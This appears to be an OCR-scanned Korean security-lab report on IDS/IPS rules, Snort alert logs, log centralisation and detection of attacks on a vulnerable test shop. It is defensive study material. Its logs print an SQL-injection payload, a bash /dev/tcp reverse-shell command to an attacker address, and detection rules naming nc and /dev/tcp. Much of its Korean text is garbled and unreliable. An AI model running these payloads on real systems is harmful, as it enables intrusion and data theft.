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IDSE Edmg MF UGN RO HENT MU HS HED SH0 Lo
OIMIE 2 1S 2951= &H|2 ALREHCH Ti2tA IDS Ruleset2 X MO Alert2 74 510]
SHE OHIES MEsts %82 SaEHT
IDS/IPS 03
IDS/IPS 01

MEN

IDS/IPS 02
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HIOLAECI Al BIH A

get

[pal

IDS & ozt
Fo o F2 ENES
IDS 01 LIS Webhard : FTP / SMB, &3dt& TXXXXXX
IDS 02 LH = Monitoring : SNMP/ DNS / SSH / DHCP TXXXXXX
IDS 03 RedZone : Web Attack / Scan 2XXXXXX, IXXXXXX, 4XXXXXX, BXXXXXX
IDS 01 : FTP, SMB, WebHard
«FX R Y - WebHard
2R USUHMN ABSE )2 I2E2 2 YIS I3 X
MY HE EM Y TR S0
2 Z2EE o HEeEg3 271d 34 ES-
XXX 2XHHHHX 3OO AXXKHHX [51,6,0,0.0.0.¢
sID 25 siD 25 sD | 2= sib | 25 sb | 25
1001XXX 2001XXX SQL Injection 3001XXX  Brute Force 4001XXX  TCP SYN Scan 5001 XXX Reverse Shell
1002XXX HTTP 2002XXX Command Injection 3002XXX ARP Spoofing 4002XXX  TCP Connect Scan 5002XXX Shell Command
1003XXX SNMP 2003XXX Stored XSS 4003XXX  FIN Scan 5003XXX File Access
1004XXX DNS 2004XXX Redirect External 4004XXX  NULL Scan 5004XXX sudo, su B&E
T005XXX SSH 2005XXX CSRF 4005XXX  Xmas Scan
1006Xxx  [SIBIIIIIN| 2006XXX  File Upload 4006XXX  UDP Scan
1007XXX ICMP 2007XXX Broken Access Control 4007XXX  Version Scan
1008XXX DHCP 2008XXX IDOR 4008XXX  NSE Scan
1009XXX 2009XXX RLO 4009XXX  TCP ACK/Window Scan
4010XXX  IP Protocol Scan
4011XXX OS Fingerprinting
4012XXX  Scapy
AT EAS MBI, YAMOR BAIE H2S SHOR HE
=2 .
EA X OAl:FTP
FPT E4 B2 EX 21
Snort Alert —
16 matched - alert_records ——
- REL Sensor IDS SID Protocol 2SI IP SHA| Port Signature
+ A 26-08-12-21:08:31 KST ids_01 snort3 1001120 TCP 10.30.192.15 21 FTP detailed directory list requ
+ |2 26-08-12-21:08:15 KST ids_01 snort3 1001120 TCP 10.30.192.15 21 FTP detailed directory list requ
+ |2 26-08-12-21:08:07 KST ids_01 snort3 1001113 TCP 10.30.192.15 21 FTP remote file size requested
+ |2 26-08-12-21:08:01 KST ids_01 snort3 1001121 TCP 10.30.192.15 21 FTP working directory changec
+ | 2 26-08-12-21:08:01 KST ids_01 snort3 1001203 TCP 10.30.192.15 21 FTP absolute path access atter
X AIUX Z I (AHE)
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1001005  FTP X Of X0l A “USER” €& E X
1001007  FTP X O L 0lAl “PASS” & E X
A MY 9IS QESI= "SIZE" Y
1001113
=N
HIZR 0SS AlZdts "CWD /" HE
1001203
=N
EH EXl GIAl : SMB

HIOFAEHCI Al BT A 2o

Sensor

ids_@1
SID

1801085

Signature

FTP username submitted

Sensor

ids @1

SID

lealea’

Signature

FTP password submitted

Sensor

ids @1

SID

1801113

Signature

FTP remote file size requested

Sensor

ids 01

SID

1801283

Signature

FTP absolute path access attempt
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HIOLAECI ALY

HA 2ot

[pal

SMB EAM HE Al 21t
Snort Alert
11,835 matched - alert_records
g Az Sensor DS sSID Protocol S50 P SXX| Port Signature
2 26-08-12-17:21:52 KST ids_03 snort3 4007006 Tcp 10.60.0.11 3306 NMAP multiple unauthenticated MariaDB scanning detected
2 26-08-12-17:21:52 KST ids_03 snort3 4007006 TP 10.60.0.11 3306 NMAP multiple unauthenticated MariaDB scanning detected
Ed 26-08-12-17:21:52 KST ids_03 snort3 4007006 TCP 10.60.0.11 3306 NMAP multiple unauthenticated MariaDB scanning detected
2 26-08-12-17:21:52 KST ids_03 snort3 4007006 TCP 10.60.0.11 3306 NMAP multiple unauthenticated ManiaDB scanning detected
2 26-08-12-17:21:52 KST ids_03 snort3 4007006 P 10.60.0.11 3306 NMAP multiple unauthenticated MariaDB scanning detected
2 26-08-12-17:21:52 KST ids_03 snort3 4007006 cp 10.60.0.11 3306 NMAP multiple unauthenticated MariaDB scanning detected
88X AlIJUA Z 1k (AHY)
Sensor
ids_83
SMB2 TREE_CONNECT +
SID
1006001 C$ 2ellt 2R &2 X
1286801
(FE 534D 42 + 03 00 + C 00 $ 00) )
Signature
MALWARE-OTHER SMB2 Unauthorized System/Admin Share Access Attempt
Sensor
ids_@e3
STATUS_LOGON_FAILURE EE +
- - SID
1006003 =2 IPJ|IE SMB 2101 &1} Bt= X
loacaas
(FE 53 4D 42 + 6D 00 00 CO )
Signature
POLICY-OTHER SMB2 Ewcessive STATUS_LOGON_FAILURE Response
IDS02 : SNMP, DNS, SSH, DHCP
o = H 1
« ?IX: LHE 2 - Monitoring
I==pS] =0 = i = ol O 2] 7 Er
cSHUSRZUHAM Mot lI2 2282 2 2LIHE THA! §X
A MBS L FQ S0 g2
e = FECE] ~31d 24 A
XK 2600 IXXXXXX AXRHHAX SXOOOOK
sb [ =% siD 25 sb | 25 s | = sb | £F
1001XXX FTP 2001XXX SQL Injection 3001 XXX Brute Force 4001XXX  TCP SYN Scan 5001 XXX Reaverse Shell
1002XXX HTTP 2002XXX Command Injection 3002XXX ARP Spoofing 4002XXX  TCP Connect Scan 5002XXX Shell Command
T003XXX 2003XXX Stored XSS 4003XXX  FIN Scan 5003XXX File Access
1004XXX 2004XXX Redirect External 4004XXX  NULL Scan 5004XXX sudo, su E3d
1005XXX 2005XXX CSRF 4005XXX  Xmas Scan
1006XXX SMB 2006XXX File Upload 4006XXX  UDP Scan
1007XXX ICMP 2007 XXX Broken Access Control 4007XXX  Version Scan
1008XXX 2008XXX IDOR 4008XXX  NSE Scan
T009XXX WebHard | 2008XXX RLO 4009XXX  TCP ACK/Window Scan
4010XXX P Protocol Scan
4011XXX OS Fingerprinting
4012XXX  Scapy
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XA SAS MB5E, WAMOR HA|
=2 .
EA Xl OAl:SSH
Snort Alert
4 matched - alert_records
ol Az Sensor  IDS SID
26-08-12-19:05:18 KST  ids 02 snort3 1005003
26-08-12-19:05:13 KST  ids 02 snort3 1005003
26-08-12-19:05:07 KST  ids_ 02 snort3 1005003
26-08-12-19:04:59 KST ids_ 02 snort3 1005003
X AlLX
2 IP JI& SSH Ml& Bt=
1005003 B
M A 3tz “SSH-2.0-" EX
=2 .
EA Xl GlAl : DHCP
Snort Alert
4 matched - alert_records
Az Sensor  IDS SID
26-08-13-04:18:43 KST ids_ 02 snort3 1008004
26-08-13-04:07:58 KST ids_ 02  snort3 1008002
26-08-13-04:07:56 KST ids 02 snort3 1008001
26-08-13-04:07:56 KST ids_02  snort3 1008001
X AlUXA

oo

Protocol

TCP

P

TCP

TCP

Protocol

UDP

UDP

UDpP

UDP

njo
of
0
oY
Ol
o

Er gl
10.30.192.101 -
10.30.192.101 -
10.30.192.101 -

10.30.192.101 -

Sensor

ids_82

SID

leaseas

Signature

g 2

Z27% Port |

HIOLAECI ALY

SHA| 1P
10.30.192.15
10.30.192.15
10.30.192.15

10.30.192.15

A
=2

I (At

&l

—

)

o]

dn
™

22

22

22

%] Port

HA 2ot

[pal

o

7|F Source | B HY

Signature

ATTACK-RESPONSES SSH Brut

ATTACK-RESPONSES SSH Brut

ATTACK-RESPONSES SSH Brut

ATTACK-RESPONSES SSH Brut

ATTACK-RESPONSES SSH Brute Force Inbound Attempt

S5A P

255.255.255.255

10.30.96.101

10.30.96.101

10.30.96.101
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7|1& Source

DHCP Network-wide Excessive DISCOVER Activity

DHCP Rogue Server ACK

DHCP Rogue Server OFFER

DHCP Rogue Server OFFER

SXX Port  Signature
67
68
68
68
2 (AR



1008001

1008002

1008004

20|
[ W

20|
[ W

ObLl AIH{J} DHCP ACK (Type

=l

s

$DHCP_SERVERJ}
Otl A B0t DHCP OFFER
(Type 2) HIAIXI & &

S $DHCP_SERVERJ}

5) BIAIX &&

bx SO BZENAE

=X X2 DHCP

DISCOVER(Type 1)
HIAIXI D 293 ==t A4

IDS03 - & =& AlLi2lL

HIOLAECI Al BIH A

Sensor

ids_02

SID

1968061

Signature

DHCP Rogue Server OFFER

Sensor

ids_@2

SID

laeseaz

Signature

DHCP Rogue Server ACK

Sensor

ids 082

SID

1e63084

Signature

DHCP Network-wide Excessive DISCOVER Activity
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2 EREE o HES2 27d 24 Al AR
IXXKXKX PXHKXXKK BXRXHHX AX0KK BXXXXKX
sb [ ER siD
1001XXX FTP 2001XXX
1002XXX  HTTP 2002XXX
1003XXK SNMP | 2003XXX
1004XXX  DNS 2004XXX
1005XXX  SSH 2005XXX
1006XXX  SMB 2006XXX
1007XXX  ICMP 2007XXX
1008XXX  DHCP  |2008XXX

1008XXX WebHard | 2009XXX

njo
OHm
rot
e
Ol
40
ol
He
ol
i
0
HT
o
o
ue
I

SCN-01. SQL Injection=

PR Source Qof
26-08-13-17:38:26 KST alert SQL Injection - SQL Comment Detected on Login
26-08-13-17:38:26 KST alert Login Request Contains Username and Plaintext Password
26-08-13-17:38:26 KST alert SQL Injection - Always True Condition
26-08-13-17:38:33 KST alert SQL Injection - Information Schema Column
26-08-13-17:38:37 KST alert SQL Injection - UNION SELECT Credential Fields
SQL Injection SQL Injection =& & X
B 2001006 SQL Injection - SQL Comment Detected on Login
(215 23) pere:"/(?:--[#|\V\*)/"
SQL g&lA Xl
2001010 SQL Injection - Always True Condition
He 230 [ ORT=T -
Login Request Contains Username and Plaintext _
2000001 O HE HE AS X
Password
SQL Injection HIOI & =
2001009 8QL Injection - Information Schema Column B
SQL Injection 23 §Xl
(2210t 2AH) Password 2t&d 28 X3

2001008 SQL Injection - UNION SELECT Credential Fields ,
=P
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SCN-02. J&& XSS JIgt M- JIEHE EH-F8 2 M Y

Sensor

ids_03

ids_03

ids_03

ids_03

ids_03

=

2 A2}

IDS

snort3

snort3

snort3

snort3

snort3

3

SID Priority
4001001
4010001
4001002

4010001

4001001

26-08-14-11:28:39.031053 KST

26-08-14-11:28:39.032361 KST

26-08-14-11:28:39.033903 KST

26-08-14-11:28:39.040423 KST

26-08-14-11:29:36.148799 KST

26-08-14-11:29:36.148800 KST

-

Zh
=

26-08-13-13:12:01 KST

26-08-13-13:12:04 KST

0H
Iy
<«

Zenmap

SID

4001001

4001002

4008002

4007003

ZenMap Scan & Xl Z 1t

Protocol =K 1P 5K Port
TCP 10.60.0.20 1234
TCP 10.60.0.20 1234
TCP 10.60.0.100 58680
TCP 10.60.0.100 58680
TCP 10.60.0.20 1023
Source [of
alert

Signature

TCP SYN Scan

Nmap Repeated header-only IP packets from same s...
TCP SYN Scan - RST/ACK

Nmap Repeated header-only IP packets from same s...

TCP SYN Scan

Nmap Repeated header-only IP packets from same source - Nmap IP Protocol ...

alert NMAP multiple unauthenticated MariaDB scanning detected
alert OpenSSH Server Version Banner Disclosure

alert Nmap SSH Hostkey Enumeration Probe Detected

alert TCP SYN Scan - RST/ACK

alert TCP SYN Scan

Web Attack & X 2 1t

Source ot
alert
alert Stored XSS cookie

BIAIXI

TCP SYN Scan

TCP SYN Scan - RST/ACK

Nmap SSH Hostkey Enumeration Probe
Detected

OpenSSH Server Version Banner

Disclosure

-66 -

SQL Injection - SQL Comment Detected on Login

X AUX
S2IP 0l M 5x S0 3004014 SYN
QEO SUH= Al EX
S2 IP 2 5252t 3001014 RST/ACK

2F IPJI IS SSH A (228 ZE)0f
24 5S¢

25t §1, Nmap-SSH Hostkey 2 H &

SSH HHHE & &otdH E X

%

Disclosure Ll & SSH A B1J} 2/ &2
2ct0|H E 0l SSH-2.0-OpenSSH_ & A/ 9|

HE BHHE S&8o6tH §X



Z79I sqQLiz

admin A& &=

=

S XSS ZJ|

4007006

4010001

2001006

2003005

NMAP multiple unauthenticated

MariaDB scanning detected

Nmap Repeated header-only IP packets
from same source - Nmap |IP Protocol

Scan (-sO) suspected

SQL Injection - SQL Comment Detected

on Login

Stroed XSS cookie

SCN-03. Il H=E 2l A & RCE

@ Azt
26-08-13-13:28:34 KST
26-08-13-13:28:34 KST
26-08-13-13:28:34 KST

26-08-13-13:28:34 KST

26-08-13-13:38:02 KST

0|:|

pr1p A Eg[:

10
0z
k
In
02

|

it
&
>
s

2006002

5002001

5001001

5001003

5001002

Stored XSS & Xl 21t

Source Q0of

alert FILE UPLOAD -

alert Bash Shell - External Connection
alert Bash Shell - Command Attempt

alert

alert WEB SHELL -

FILE UPLOAD - Filename Extension and
Content-Type Mismatch

WEB SHELL - Interactive Shell Command

Detected in Raw TCP Data

WEB SHELL - Outbound TCP Connection
Bash Shell - External Connection

Bash Shell - Command Attempt

-67 -
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SQL Injection =44 & X|

pcre:"/(?:--[#V\*)/"

document.cookie

Filename Extension and Content-Type Mismatch

WEB SHELL - Outbound TCP Connection

Interactive Shell Command Detected in Raw TCP Data

T s | oo | mam | siaouw

It =2 HIOIKINA IHY & XLD
.php, .js, .exe, .sh, .py, .reg & M E X
ARNA SH= 2 HEN EX

A A B S 2H01(pwd, id, whoami,
uname -a, hostname)

me-A=2 X &(s, cat, cd, chmod)
MHUHAM 222 UIl= SYN 23 EX

nc, /devitcp S 212 & SO EX

02

/bin/bash, bash -i S 2! A& € X|
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SCN-04. 20 BEE A

Login BruteForce & X & 1t

26-08-13-15:37:00 KST alert Login Failed
26-08-13-15:37:00 KST alert BF - Login Attempt
26-08-13-15:37:00 KST alert Login Failed
26-08-13-15:37:00 KST alert BF - Login Attempt
26-08-13-15:37:00 KST alert Login Failed
26-08-13-15:37:00 KST alert BF - Login Attempt
26-08-13-15:37:00 KST alert Login Failed
26-08-13-15:37:00 KST alert BF - Login Attempt
26-08-13-15:37:00 KST alert Login Failed
26-08-13-15:37:00 KST alert BF - Login Attempt
w2 e | om | o
Z701 X0t 60 2tall 10
Sxg e 3001001 BF - Login Attempt
Hola X
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=
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HIOFAEHCI AIZETHA 29

Rule Message (msg)

I

o4 THe Bty Y 23| 2
1009201  WebHard (owncloud) EXPLOIT-KIT ownCloud Executable Webshell File Upload Attempt
ofd med Bt 1 1009101 WebHard (pydio) EXPLOIT-KIT Pydio Cells Executable File Upload Attempt
2006001 File Upload FILE UPLOAD - Dangerous Executable Filename Extension
1009202 WebHard (owncloud) EXPLOIT-KIT ownCloud Webshell Upload Content-Type Mismatch
I -
2006002 File Upload FILE UPLOAD - Filename Extension and Content-Type Mismatch
MIME < &
2009001 RLO Unicode RLO filename spoofing detected
1001405 FTP FTP renamed to dangerous extension
£33 Bt
1001403 FTP FTP file permission restriction removed
(B A= BX)
1009203  WebHard (owncloud) = EXPLOIT-KIT ownCloud Webshell Malicious Code Payload Injected
1009206 @ WebHard (owncloud) EXPLOIT-KIT ownCloud Directory Traversal Attempt
d2 0| 1001212 FTP FTP parent path file upload
1006002 SMB EXPLOIT-KIT SMB2 Directory Traversal Path Attempt
5001001 Reverse Shell WEB SHELL - Outbound TCP Connection
Btel = A3 -
5002001 Shell Command WEB SHELL - Interactive Shell Command Detected in Raw TCP Data
O & 2
2006003 File Upload WEB ATTACK - Dangerous File Requested from Upload Directory
1009204 WebHard (owncloud) EXPLOIT-KIT ownCloud Login Brute-Force Attempt
o1 32 1009207 WebHard (owncloud) EXPLOIT-KIT ownCloud Sensitive Configuration File Access Attempt
WebDAV PROPFIND Reconnaissance Detected

P

PROTOCOL-SNMP SetRequest write attempt
SEC-DNS Unauthorized Dynamic DNS Update Request

1003010 SNMP-cacti
SNMP-mrtg

- 3E
4008003 NSE Scan
IPS02 - 21Xt 43 BX & HIQIDL 2
PROTOCOL-SNMP SetRequest write attempt

1003105
1004008 DNS
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2el 2 - UERA

;g

1003110

1003101

1003001

1003116

1003012

4007006

2001009

1004006

1004007

1005003

1008001

5001001

SNMP-mrtg

SNMP-mrtg

SNMP-cacti

SNMP-mrtg

SNMP-cacti
Version Scan

SQL Injection

DNS

DNS

SSH
DHCP

Reverse Shell

IPS03 - & 22 AlLt2|2 g X

AlUtel2 Sl m Rule Message (msg)

@ oz 23
s

(login.php SQLi)

@ H& 23| &5
(Stored XSS)

@A30HEH Y
& I (search.php

UNION SQLi)

2001006

2001005

3001001

2003001

2003005

5001001

2001009

2001002

2001008

2006002

2006003

2002002

SQL Injection
SQL Injection
Brute Force
Stored XSS
Stored XSS
Reverse Shell
SQL Injection
SQL Injection

SQL Injection

File Upload

File Upload

HIOFAECI Al ZETHA 2ot

P
AO

o Hy
PROTOCOL-SNMP agent response to unauthorized manager

PROTOCOL-SNMP unauthorized SNMPv1 request attempt

PROTOCOL-SNMP v2c default community public unauthorized
access attempt

EXPLOIT-SNMP Universal MIB Tree Walk / Sequential Scan
Attempt

PROTOCOL-SNMP repeated SNMP enumeration storm
NMAP multiple unauthenticated MariaDB scanning detected

SQL Injection - Information Schema Column

SEC-DNS Zone Transfer Request (AXFR/IXFR) Reconnaissance
Attempt

SEC-DNS Potential DNS Tunneling - Abnormally Long Subdomain
Query

ATTACK-RESPONSES SSH Brute Force Inbound Attempt
DHCP Rogue Server OFFER

WEB SHELL - Outbound TCP Connection

SQL Injection - SQL Comment Detected on Login
SQL Injection - Always True Condition

BF - Login Attempt

XSS(S) - Script Tag

Stored XSS cookie

WEB SHELL - Outbound TCP Connection

SQL Injection - Information Schema Column

SQL Injection - UNION SELECT Password

SQL Injection - UNION SELECT Credential Fields

FILE UPLOAD - Filename Extension and Content-Type
Mismatch

WEB ATTACK - Dangerous File Requested from Upload
Directory

Command Injection = Command Injection - Reverse Shell
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2009001 RLO Unicode RLO filename spoofing detected
®RLO &It AAF -
2003004 Stored XSS XSS(S) - Anchor URI
2004001 Redirect External Open Redirect External
2007001 Broken Access Control. ACCESS CONTROL - Profile User Does Not Match Buyer

2008001 IDOR IDOR - Order Request

EYE

IPS01 ote 72+ pfSense + Suricata
e A =(C2) OIRBI2E Xt
< ZHHl MIH B
IPS02 SUEHE #2¢ pfSense + Suricata B
OO0 & ¢ 221 |IX X
2R RY A ZA X XL
IPS03 CHel AEIA 22t pfSense + Suricata

57. A 21 FH

2H 28R

g3 AA HS s UE/EXN 23

SEHTTP Q& Q- 8EIDE. 22 &2 &Y
access_log (WAS) H-2F
XN&(Z2 Iet0E-AHIS)S J|12
T2 IHE 2 & X — SQLIi(942100)-XSS(941xxx)-RCE(932130)-Path
ModSecurity (WAF) ERER=N
Traversal(930110) S Al 2LIX
DB &M &A= SQL A2 SHL2F(1064). =& Al &It ot
MariaDB audit DB
AN AE- LB EFEES
I AMEXECVE) IL/AHE/CIZEHe] HE ZAL el AL -~
Linux auditd AAE(OS) i
Aol osdd A
vsftpd FTP FTP 01 = -t ®Z5(STOR)
BIND query DNS DNS & 2|(Zone Transfer Al &)
snmptrap SNMP SNMP community 27 & H5 AT
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access_log (Nginx)

WS02 ModSecurity (WAF)
got Linux auditd
MariaDB_audit
PBos Linux auditd
access_log (Nginx)
HDO1 snmptrap
Linux auditd
LS access_log (Apache)
Hbo2 vsftpd
DBO01 MariaDB_audit
vsftpd
dns_query
MSOT (WIN) ModSecurity (WAF)
snmptrap
access_log (Apache)
MRO1 ModSecurity (WAF)
Linux auditd
access_log (Nginx)
SUHE & 2t MRO2 Linux auditd
MariaDB_audit
PBoz Linux auditd
MariaDB_audit
PBos Linux auditd
MariaDB_audit
PBos Linux auditd
MariaDB_audit
DB05

Linux auditd

«AlZE SIIE : & AHE NTPZ AlZ=S SJIstot(] EtE AT J|gt A224H0| JisoteSs

A AN BSE A2 2108 9AEZ HESHD rsyslog imfile2 =& 36t0{ C&C M H(MS02)

514/TCPZ M &SHLH M & A2 RSYSLOG_FileFormat2 & & tLt.
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< 0l20 : SNMP E& 2 snmptrapdIt XXl 21 IS MHGHAI 210 syslog2 M&E J|E0HEZ,
imfile CH &l syslog & & ==& (imjournal/imuxsock)S AIESICH && 222 H& 42 S2o6lC.

C&C =2 =4l :imtcp 514 LEE £ 4I5t0 &4 IPE dynafileZ2 XN & &tCt.

Ivar/log/remote/%fromhost-ip%/%programname%.log

N T

22 & X2 I8t cookie 2] LW L SOH AFD SR E 9t

access_log (WAS) -2 local5 DiAsl A
ModSecurity (WAF) ERi=P\ locald = =ZE1 2H-2AS e EXNEE £F (U OIHE)
MariaDB audit DB local2 = SQL Injection & &3 AT EXIE e ZAt 22
Linux auditd A AE(OS) local3 = apache/nginx, mariadb /& 2 X E 9ISt 211 4l 43
vsftpd SE-IY &S locall | JIZ2 83X UHE 2 &M UHE 22 &3
BIND query SE-Z0e 29 local0  DNS 2| FIt 22 &%
snmptrap UESRT - &l AEH - trap &M 22 FIH &

H
|J
e
In
x
e
ry
Y

HE "HEW =3 NAS Llot)| o, 2ZS EXotll REsS 2Fote O £HMZ M0l=
AN S5 HE HOISR MEECL SOIFE 502 M| 2 209 B s
t= ot 20 C.

web_access src_ip event_time payload(2 &) payload-cookie status detect_reason

request_body-
modsec src_ip event_time uri-dst_port status detect_reason
matched_data

mariadb src_ip-user event_time db_name payload(SQL) retcode detect_reason
audit auid-uid-addr event_time exe-lport payload(Z & res detect_reason
dns src_ip event_time queried_domain  class-record_type - detect_reason
ftp src_ip-pid event_time target_user log_detail event_type detect_reason
snmp src_ip event_time community log_detail event_type detect_reason
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21 HdE EH (logrotate)
OIOIME MHZERH =bltle &2 & 27]9 2H e HMZ elet UAT 85 nds LX)
?IoHf, logrotate J|8t2| Xts ZHI 0| & - =-AH MHE HEetCh
harz2=2 Ivar/log/remote/*/*.log OIOIME IPE-Z202Y A2 44 27 |
ald JI&E daily / size 100M i 13| Z AL, 100MB =1t Al A 28 ZHI0IE
22 Izt rotate 90 Z2 90JH(90L XI) It OF B2, = E XS AHK|
g=E ME compress ZHOIEE UH 20 Y (gz) NS 2E 22
olel Xel missingok, notifempty 2 0t 2 Al Oled 2K, LHE0] 8lz Bl I 2 et
ZHIOIE &2 = rsysloglil HUP AIJ1€ 2 S It ZolH
OI2NAHS postrotate
PLAN
JIth st
CIHE T Y 100MB, 902 22 Histe g ClA T 100% S0l [GE 2t A Orbl off &
LgZip UEOCZ DI 2] NE Y o 70~80% 2
«HUP A8 &2 2 rsyslog HAIZH 10| IHY HE= WHIGHH 2] =& & X
840f DB M & &
0l el DB(MariaDB)2| EciiE 25tE =010 AEC2X & 902 22 &S &N S=otI| <l of,
JtH OIOIEHE e DB2Z Ol 2t6t10 902 =1t UIOIEH E Xt= AHHIStCE.

o

N E

04

X XH
&4

02! DB (Main Source)

A2t 2E MEIAE 2 8
AAIZEMel = 012 &2 HIOIE
X ATEE &
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90¢ logrotate Xt& AHHl (42 gzip
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SCN-01. SQL InjectionS St 215 23| & 3L U EH

AA (T

ElOIE)

unique_id = 178652453564.499045
src_ip =10.60.1.100
src_port = 34560
dst_ip = 10.60.0.10
dst_port = 80
2026-08-12 request_method = POST
modsecurity
17:48:55 request_uri = /login.php
rule_id = 942100
rule_msg = SQL Injection Attack Detected via libinjection
matched_data = found within ARGS:username: ' OR '1'="1" -- -
action_result = 403
severity = CRITICAL
src_ip = localhost
target_user = vulnmart
event_type = QUERY
2026-08-12 db_name = vulnmart
mariadb-audit
17:48:55 payload = SELECT * FROM users WHERE username="" AND password_plain="
LIMIT 1
action_result = 1064
attack_type = SQL_INJECTION
src_ip = localhost
target_user = vulnmart
event_type = QUERY
2026-08-12 db_name = vulnmart
mariadb-audit
17:48:55 payload = SELECT * FROM users WHERE username=" OR '1'='1" -- -' AND
password_plain="
action_result =0
attack_type = SQL_INJECTION
src_ip = 10.60.1.100
payload = POST /login.php HTTP/1.1
2026-08-12
nginx-access action_result = 302
17:48:55
user_agent = python-requests/2.32.5

cookie = -
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src_ip = localhost
target_user = vulnmart
event_type = QUERY
2026-08-12 db_name = vulnmart
mariadb-audit
17:48:55 payload = SELECT * FROM users WHERE username=" ORDER BY 14-- -' AND
password_plain="

action_result = 1054

attack_type = SQL_INJECTION

>| modsecurity - rule 942100
403 X}EH- matched ' OR '1'="1" -- - )

@ 2321 sQL Injection >| mariadb-audit - 1064
POST /login.php - 215 22 attack_type = SQL_INJECTION

5| nginx-access - 302

Q15 23| 43 - MEEM ZA )
4 A - -
@ ZE &+ 24 mariadb-audit - 1054
search.php - ORDER BY 14 Unknown column - 23 = EtM SX
X . .
(® UNION £7|0f-H|OfE] &% mariadb-audit - UNION SELECT
users 132 - 641 |RE information_schema - users & =3

rsyslog - imfile - C&C I}4 - DB MX{
tb_modsec_threat_logs - tb_mariadb_threat_logs - tb_web_access_logs

20

O 32 g4 Odgeza O +T-=x 22

nginx access2 £ 1¢! &&Z Z 12 MariaDB audit2] ' OR '"1'="1' - - 2| E Z 2 A2 22 &2 HI5tK

Q
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SCN-02. 4 && XSS J|gt 1
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e g8X Al

(k& EIOIE) (detect_reason)
unique_id = 178652521555.953778
src_ip = 10.60.1.100

src_port = 58069
dst_ip =10.60.0.10

dst_port = 80
2026-08-12 request_method = POST ~
modsecurity WAF £ 0HX[(920350)
18:00:15 request_uri = /review_submit.php

rule_id = 920350

rule_msg = Host header is a numeric IP address
matched_data = 10.60.0.10 (REQUEST_HEADERS:Host)
action_result = 403

severity = CRITICAL

src_ip = 10.60.1.100

payload = POST /review_submit.php HTTP/1.1

2026-08-12 B
nginx-access | action_result = 302 HEE XSS elF S5
18:00:15
user_agent = Mozilla/5.0 ...Chrome/150
cookie = 6aab6c4e™ ******
src_ip =10.60.1.100
60= Ui 53] 0|4t
2026-08-12 payload = GET /order.php?id=1&action=cancel HTTP/1.1
nginx-access Ttet0lE(ID) =Xt =3l
18:28:38 action_result = 200
(IDOR 2] &})
cookie = 3be3eca7********
src_ip = localhost
target_user = vulnmart
event_type = QUERY
Bt 2B =2 &K
2026-08-12 db_name = vulnmart B
mariadb-audit & (IDOR R & 2
18:28:38 payload = UPDATE orders SET status=cancelled WHERE

id=?
action_result=0

attack_type = UNKNOWN
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@ admin MM &S nginx-access - 302
M 2391 sqlj POST /login.php - Al &5

@ K= Xss 57| S8 403 - 2=(C/E) O|AA 2 Ho|2E XY
POST /review_submit.php ‘

nginx-access - 302
XSS 2lf S5 - 37| 012 7|15

‘ modsecurity - rule 920350 W

_______________________________

______________________________________

@ MM = - 0|A - ZH| " MB 23 0)7|12 |
|3 &t — T4l 10.60.1.101 | \  CHAF WAS 10.60.0.10 O|ZQ 717t )

‘ nginx-access - 200
@) =2 X|A . 2o X ID &Xt Z£3| - IDOR 2|4 y,
order.php?action=cancel . . )
‘ mariadb-audit - UPDATE orders
status=cancelled - &H| ¥|2 571
rsyslog - imfile - C&C T4 — DB H*j
access 200/302 A| ARt UPDATE #H2|E AlZf Alatsl &l =3
O 33 %< Ogeza ), 2310712 3zt

access £ 12| order.php2| action=cancel(200)1t MariaDB audit®l UPDATE orders ...cancelledE
FOHAM AN FHA 5H= &EHEHCH N& beacon == (Uloi A+ 10.60.0.20 — L4l 10.60.1.101)-1] &

XI.

ot

In

3 ZH-=H HEX= e WAS AH(10.60.0.10)2 Z=otXl &0t 20 & Xl =L

alil

A
e

roIst & AUJ| HEof

t

bl

o 25 ZJ0IA XSS 2l

ol
il
oin
J
[
M
MO
o
B>
4o
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i
Jor
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S0 A @Uete e dtsdE 8ot Llol #2=DB &8s Sofl &td

ol

= UALCH
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(detect_reason)

unique_id = 178652488538.540313
src_ip = 10.60.1.100

src_port = 60019

dst_ip = 10.60.0.10

dst_port = 80
2026-08-12 request_method = POST e A =EXH(.php)
modsecurity
17:54:45 request_uri = /profile.php 22 E (WAF 933110)
rule_id = 933110
rule_msg = PHP Injection Attack: PHP Script File Upload Found
matched_data = found within FILES:avatar: reverseshell.php
action_result =403
severity = CRITICAL
event_type = EXECVE
src_ip =127.0.0.1
C2HZ 2 elHAa &
2026-08-12 uid = 996 ~
auditd S0 0
17:54:45 exe_path = /usr/bin/bash
(E2lA: 'bash -i')
payload = bash -c bash -i >& /dev/tcp/10.60.1.100/4444 0>&1
action_result = failed
src_ip = 10.60.1.100
2026-08-12 payload = GET /uploads/reverseshell.php HTTP/1.1 & =& XH(.php)
nginx-access )
17:54:48 action_result = 200 gz dz HE A
cookie = 74ee8e8d********
event_type = REVERSE_SHELL (php-fpm)
src_ip =127.0.0.1 c2oizd Y elHa &
2026-08-12 B
auditd exe_path = php-fom child 1017 ZENH HE
17:54:48
payload = bash: /dev/tcp/10.60.1.100/4444: no route to host (E2lA: 'Idevitcp')

action_result = failed
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modsecurity - rule 933110
@) B|HAY mel elzc 403 XHEE - PHP script file upload

POST /profile.php - avat
/profile.php - avatar auditd - EXECVE

l bash -i - HEX C|ZEZ B S
@ ¥=E 32 N 4 nginx-access - 200
GET /uploads/reverseshell.php M Al M. AloH 2HEX X
A AA .
@ C2eHAE AZ auditd - REVERSE_SHELL (php-fpm)
10.60.1.100:4444 no route to host - result = failed

rsyslog - imfile —» C&C I+ — DB XX

AZ}-PID HEC2 H2E - H8 - HZE A= ™ oY =Y

O Og=eza O £z2=0 22

Ok
N
0%t
o
rr

auditd(reverseshell.php 444 — bash -i >& /dev/tcp/10.60.1.100/4444 EXECVE)-nginx access(& &

& H)-php-fpm(C2 HA&E)S Al2{(17:54:45~48)-PID(1017)2 &t 2totH H2E - Al - 2[HAZ

o1 AISO ® DS S
SCN-04. EfRE X A(Brute Force)E &t 210! 215 23| & HE EH
&X Atz
A2t otal 20
(detect_reason)
src_ip = localhost
target_user = vulnmart
event_type = QUERY
2026-08-12 db_name = vulnmart admin H& AIE Y 215
mariadb-audit
17:56:05 payload = SELECT * FROM users WHERE el

username="admin' AND password_plain="sdfaghjb’
action_result=0

attack_type = UNKNOWN
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2026-08-12
nginx-access
17:56:05

2026-08-12
nginx-access
17:56:06

src_ip = 10.60.1.100
payload = POST /login.php HTTP/1.1

action_result = 200

(8 EFEXZA x44)
user_agent = Mozilla/5.0 ...Chrome/150
cookie = -
src_ip = 10.60.1.100
